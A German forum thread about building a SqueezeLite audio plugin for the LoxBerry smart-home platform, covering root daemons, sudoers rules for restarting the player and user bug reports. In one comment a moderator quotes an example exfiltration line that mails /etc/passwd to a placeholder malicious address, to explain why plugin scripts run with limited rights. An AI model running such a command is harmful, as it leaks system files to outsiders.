LoxBerry Plugin SqueezeLite

Einklappen
X
 
  • Zeit
  • Anzeigen
Alles löschen
neue Beiträge
  • Christian Fenzl
    Lebende Foren Legende
    • 31.08.2015
    • 11217

    LoxBerry Plugin SqueezeLite

    Hallo LoxBerrys, und Prof.Mobilux und Wörsty als Profis,

    ich will ja nicht zu viel versprechen (jedenfalls keinen Erfolg!), aber ich würde mich an ein SqueezeLite-Plugin wagen.

    Zuerst deswegen gleich die Frage, ob da eh noch niemand dran ist?

    Zum Loxberry-Plugin-Interface hätt ich dann noch zwei (drei, vier,...) Fragen:

    Das erste, der Daemon.
    Wenn die beim Boot gestartet wird, habe ich darin Zugriff auf die Variablen vom Loxberry, z.B. auf meine plugin-cfg?

    Die zweite Frage wäre, hab "ich" als PHP genug Rechte, um das Squeezelite-Binary aus dem Webinterface heraus aufzurufen, z.B. zum Auslesen der Output-Devices? Und
    Kann/darf ich darin die (umbenannte) Daemon.sh nochmal aufrufen (zum Beenden, Restarten)?

    Wie gesagt, nachdem ich hauptberuflich kein Entwickler bin, ist das nur ein Versuch (und mit geringer Erfolgsaussicht), aber zumindest könnte ich das dann in die LoxBerry-FAQ aufnehmen (das kann ich ;-)

    lg, Christian
    Hilfe für die Menschen der Ukraine: https://www.loxforum.com/forum/proje...Cr-die-ukraine
  • Prof.Mobilux
    Supermoderator
    • 25.08.2015
    • 4626

    #2
    Zitat von Christian Fenzl
    Zuerst deswegen gleich die Frage, ob da eh noch niemand dran ist?
    Soweit ich weiß arbeitet da noch keiner dran - zumindestens Wörsty und ich nicht

    Das erste, der Daemon.
    Wenn die beim Boot gestartet wird, habe ich darin Zugriff auf die Variablen vom Loxberry, z.B. auf meine plugin-cfg?
    Ja, hast Du. Die Variablen vom LoxBerry stehen in reinen Text(ASCII)-Dateien, die Daemon-Dateien sind Bash-Skripte, aus denen Du die Variablen auslesne kannst.

    Ich bin übrigens dabei die Pluginschnittstelle zu beschreiben - ist allerdings in den letzten Tagen etwas zu kurz gekommen, aber ich werde das am Wochenende abschließen: http://www.loxwiki.eu:80/x/xICO

    Die zweite Frage wäre, hab "ich" als PHP genug Rechte, um das Squeezelite-Binary aus dem Webinterface heraus aufzurufen, z.B. zum Auslesen der Output-Devices? Und
    Kann/darf ich darin die (umbenannte) Daemon.sh nochmal aufrufen (zum Beenden, Restarten)?
    Ja, solange Du keine Rootrechte benötigst. Das Webinterface läuft komplett unter dem Standardbenutzer "loxberry" und somit mit Standardbenutzerrechten. Alles wozu ein Standardbenutzer im System berechtigt ist, kann auch das Webinterface machen. Aus Sicherheitsgründen geht nur nichts, was als root ausgeführt werden muss. Das geht nur über die Daemon-Dateien, die per Init-Skript während des Bootvorgangs mit Rootrechten ausgeführt werden. Auf diese Daemons hast Du dann später aber auch nur noch eingeschränkt Zugriff, da Du dann bereits die eingeschränkten Rechte eines Standardnutzers hast (außer Du startetst die Daemons gleich als Standarduser "loxberry" per "sudo loxberry -c "command").
    🇺🇦 Hilfe für die Menschen der Ukraine: https://www.loxforum.com/forum/proje...Cr-die-ukraine


    LoxBerry - Beyond the Limits

    Kommentar

  • Christian Fenzl
    Lebende Foren Legende
    • 31.08.2015
    • 11217

    #3
    Hallo Michael,

    squeezelite braucht definitiv root-Rechte, um zu laufen. Es kann sonst nicht auf die Audio-Ports zugreifen.
    Da habe ich jetzt ein konzeptionelles Problem, oder ich weiß es nicht besser.

    Meine jetzige Implementierung schreibt in der daemon in /etc/sudoers.d/ ein File, damit ich als loxberry squeezelite als root ausführen darf.
    Damit ich Konfigurationsänderungen im Webinterface sofort umsetzen kann, bräuchte ich auch noch sudo-Rechte für kill bzw. killall.
    Ich weiß nicht, ob das erlaubt/gewünscht/... ist.
    Zudem habe ich bei einer Deinstallation keine Möglichkeit mehr, diese Dateien zu löschen.

    Die andere Möglichkeit wäre, dass ich im daemon einen eigenen Prozess starte, der z.B. im 5-Sekunden-Takt darauf wartet, dass irgendein File getoucht wird, um das killen und neu starten auszuführen.

    Option 1 wäre einfacher und ressourcenschonender :-)

    lg, Christian
    Hilfe für die Menschen der Ukraine: https://www.loxforum.com/forum/proje...Cr-die-ukraine

    Kommentar

    • Christian Fenzl
      Lebende Foren Legende
      • 31.08.2015
      • 11217

      #4
      PS:
      Ist habe jetzt einen besseren Weg für Option 1 - ich habe im Dataverzeichnis ein kill-Script für squeezelite, und nur darauf erlaube ich loxberry inmeinem sudoer-File. Ist doch ein wenig sichererer.
      Hilfe für die Menschen der Ukraine: https://www.loxforum.com/forum/proje...Cr-die-ukraine

      Kommentar


      • Prof.Mobilux
        Prof.Mobilux kommentierte
        Kommentar bearbeiten
        Gute (kreative) Idee. Ich habe am Anfang etwas mit mir gerungen was erlaubt sein soll und was nicht. Im ersten Schritt hatte ich auch für die Daemonfiles nur normale benutzerrechte vorgesehen. Mich graust es vor so Dingen wie "cat /etc/passwd | mail boeseadresse@server.ru" in den Pluginscripten. Aber damit hätte man tatsächlich zu viele Dinge ausgeschlossen - leider.

        Daher hatte ich mich entschieden nur den Daeminscripten Rootrechte zu geben - alles andere aber unter dem User loxberry laufen zu lassen. Den von Dir gewählten Weg halte ich für gut!
    • Christian Fenzl
      Lebende Foren Legende
      • 31.08.2015
      • 11217

      #5
      Ihr könnt gerne auch mal rein schauen in den DEV-Branch https://github.com/christianTF/LoxBe...in-squeezelite, aber gehen tut noch nichts!
      Hilfe für die Menschen der Ukraine: https://www.loxforum.com/forum/proje...Cr-die-ukraine

      Kommentar

      • Christian Fenzl
        Lebende Foren Legende
        • 31.08.2015
        • 11217

        #6
        Kurzer Zwischenstand:
        Das Coding ist jetzt zum großen Teil abgeschlossen. Beim Webinterface für die Konfiguration fehlt noch ein bisschen was. Ich schätze, dass es nochmal so lange braucht, bis ich es in einem lauffähigen Zustand habe.
        lg, Christian
        Hilfe für die Menschen der Ukraine: https://www.loxforum.com/forum/proje...Cr-die-ukraine

        Kommentar


        • Mattgyver
          Mattgyver kommentierte
          Kommentar bearbeiten
          bin schon gespannt....
      • Prof.Mobilux
        Supermoderator
        • 25.08.2015
        • 4626

        #7
        Hi Christian,

        habe mir die Installation und das Plugin mal angesehen. Folgende Hinweise/Kommentare:
        • Das Konfig-File heisst bei dir noch "example.cfg". Würde ich umbenennen in "squeezelite.cfg" o.ä.
        • Das Skript "kill_squeezelite.sh" hätte ich eher nach webfrontend/cgi/.... in ein Unterverzeichnis (z. B. "bin") gepackt, weil es eher ein ausführbares Skript als reine "Daten" ist. Ist aber Geschmackssache und funktioniert so genauso wie Du es gemacht hast. Wenn Du es nach webfrintend/cgi packst würde es automatisch "chmod +x" gesetzt werden. Du müsstest das Unterverzeichnis dann aber per ".htaccess" schützen
        • Beim Daemon-File: Fehlen da in Zeile 35 die eckigen Klammern? Oder passt das so?
        • Wenn Du alle Pakete in "apt" in eine Zeile packst (mit Leerzeichen getrennt) werden diese in einem Rutsch installiert. Wird aber in der nächsten LoxBerry-Version auch gefixt werden, sodass das automatisch passiert.
        • Rein kosmetisch: Das Icon hat keinen grauen Hintergrund. Du könntest ein Icon im Stil der anderen LoxBerry Icons verwenden (Download unter http://download.loxberry.de/development/icons/ ) bzw. dort einfach das "Blank"-Icon (nur der Hintergrund) verwenden und Deinen Schriftzug drüberlegen
        Ansonsten bin ich der Meinung es passt alles! Ich kann die eigentliche Pluginfunktionalität allerdings nicht testen, da ich keine entsprechende Audio-Infrastruktur bei mir habe :-) Aber ich bin mir sicher, dass sich da viele hier finden werden :-)
        Zuletzt geändert von Prof.Mobilux; 24.09.2016, 08:10.
        🇺🇦 Hilfe für die Menschen der Ukraine: https://www.loxforum.com/forum/proje...Cr-die-ukraine


        LoxBerry - Beyond the Limits

        Kommentar

        • Christian Fenzl
          Lebende Foren Legende
          • 31.08.2015
          • 11217

          #8
          Prof.Mobilux
          • Das mit dem example.cfg passt so - es ist nicht das richtige Config-File, sondern ein Beispiel, wie das richtige Configfile ausschaut :-) Das echte Config-File heißt plugin_squeezelite.cfg.
          • Beim Kill-Script war ich mir nicht ganz sicher, wohin damit. Ich lass es vorerst mal ("never change a running system") ;-)
          • Das mit Zeile 35 ist gefixt.
          • Das mit apt haben wir eh schon besprochen.
          • Beim Icon steht auf der Entwickler-Seite "Die Dateien müssen im PNG.Format mit transparentem Hintergrund vorliegen.". Ich werde bei Gelegenheit den Button-Style nachziehen.
          • Grundsätzlich muss ich sowieso noch Code-Cleanup machen.
          Wie soll ich das BETA-Zip bereitstellen? In GitHub oder im Wiki als Download?



          Für alle:
          Die Theorie funktioniert jetzt - in der Praxis wird es aber noch lustig.
          Ich habe meinen RPi1 jetzt mit Klinke und HDMI an meinen Verstärker angeschlossen. Raspbian/Debian setzen dann HDMI als Standard, und egal was ich Squeezelite mitgebe, über die Klinke bekomme ich noch nichts raus.
          Ich hab einen zweiten RPi1 in Echtbetrieb, wo ich die Konfiguration vor langer Zeit manuell gemacht hatte. Ich muss mir das mal ansehen, aber vielleicht brauche ich noch Unterstützung von euch!

          lg, Christian
          Hilfe für die Menschen der Ukraine: https://www.loxforum.com/forum/proje...Cr-die-ukraine

          Kommentar

          • Prof.Mobilux
            Supermoderator
            • 25.08.2015
            • 4626

            #9
            Hi,

            der Text im Wiki zum Icon ist vielleicht etwas missverständlich. Die Icons mit dem grauen Hintergrund sind trotzdem transparent (die runden Ecken).

            Zum Bereitstellen: wenn du dir unter HTTP://plugins.loxberry.de einen Account erstellst gebe ich Dir die Berechtigung zum Pluginupload. Würde es gut finden wenn man alle Plugins möglichst an einer Stelle findet. Hier findest du eine Kurzanleitung, wie du das Plugin dort hochladen kannst: http://www.loxwiki.eu:80/x/MIKO
            🇺🇦 Hilfe für die Menschen der Ukraine: https://www.loxforum.com/forum/proje...Cr-die-ukraine


            LoxBerry - Beyond the Limits

            Kommentar

            • Christian Fenzl
              Lebende Foren Legende
              • 31.08.2015
              • 11217

              #10
              Erledigt!
              Hilfe für die Menschen der Ukraine: https://www.loxforum.com/forum/proje...Cr-die-ukraine

              Kommentar

              • Christian Fenzl
                Lebende Foren Legende
                • 31.08.2015
                • 11217

                #11
                Die Version 0.1.1-UNSTABLE ist jetzt als Public Beta in Plugin-Archiv zum Download!

                Beachtet auch die Hinweise im zugehörigen Wiki-Artikel: http://www.loxwiki.eu/display/LOXBER...ezelite+Player

                Feedback und Fehler hier, oder direkt bei Github: https://github.com/christianTF/LoxBe...ezelite/issues

                Dem Multiroom-System mit ein paar Mausklicks steht (hoffentlich) nichts mehr im Weg!

                lg, Christian
                Hilfe für die Menschen der Ukraine: https://www.loxforum.com/forum/proje...Cr-die-ukraine

                Kommentar

                • Matze1911
                  Smart Home'r
                  • 12.09.2016
                  • 54

                  #12
                  Hallo,
                  ich hab dein Plugin installiert. Die Installation lief ohne Probleme durch.
                  Mein LMS läuft auf einem Synology NAS.
                  Das Plugin hat den LMS nicht automatisch gefunden. Erst als ich die IP eingetragen hab wurde er gefunden.
                  Die beiden erscheinenden Links weisen dann auf den LMS, aber auf Port den Port 9000. Mein LMS Läuft auf 9002.
                  Der LMS findet keinen Player.

                  Gruß Matze

                  Kommentar


                  • Christian Fenzl
                    Christian Fenzl kommentierte
                    Kommentar bearbeiten
                    Schreib den Port einfach hinten dran:
                    Server:Port

                    Den Rasp musst du einmal nach der Installation rebooten, das hast du gemacht?

                  • Christian Fenzl
                    Christian Fenzl kommentierte
                    Kommentar bearbeiten
                    Moment, das wird auch nicht funktionieren.
                    Mach jedenfalls einen Reboot, meldet sich Squeezelite dann am LMS an?

                  • Matze1911
                    Matze1911 kommentierte
                    Kommentar bearbeiten
                    Nach einem Reboot meldet sich Squeezelite am LMS an. Hab aber den Port nicht angehängt. Muss jetzt erstmal testen ob alles läuft.
                • Christian Fenzl
                  Lebende Foren Legende
                  • 31.08.2015
                  • 11217

                  #13
                  Hi Matze,
                  das mit den Links im Interface wird noch nicht funktionieren, weil die Portangabe für die Player ist, nicht für das Webinterface. Das ist hardcoded 9000 - wer rechnet denn damit, dass das jemand ändert ;-)
                  Hilfe für die Menschen der Ukraine: https://www.loxforum.com/forum/proje...Cr-die-ukraine

                  Kommentar


                  • Matze1911
                    Matze1911 kommentierte
                    Kommentar bearbeiten
                    Naja :-), Musik abspielen und Internetradio geht.
                • Prof.Mobilux
                  Supermoderator
                  • 25.08.2015
                  • 4626

                  #14
                  Obwohl ich immer dachte dass mir AirPlay reicht, muss ich gestehen, dass mich mit dem Plugin doch ein LMS reizt :-) Wie sieht denn die Spotify Unterstützung aus? Gibt es da die Möglichkeit das in den LMS zu integrieren?
                  🇺🇦 Hilfe für die Menschen der Ukraine: https://www.loxforum.com/forum/proje...Cr-die-ukraine


                  LoxBerry - Beyond the Limits

                  Kommentar

                  • hismastersvoice
                    Supermoderator
                    • 25.08.2015
                    • 7189

                    #15
                    Spotify geht mit dem LMS Plugin Spotify Handler ohne Probleme
                    Kein Support per PN!

                    Kommentar


                    • Prof.Mobilux
                      Prof.Mobilux kommentierte
                      Kommentar bearbeiten
                      Perfekt! Dann ist der Winter gerettet :-)
                  Lädt...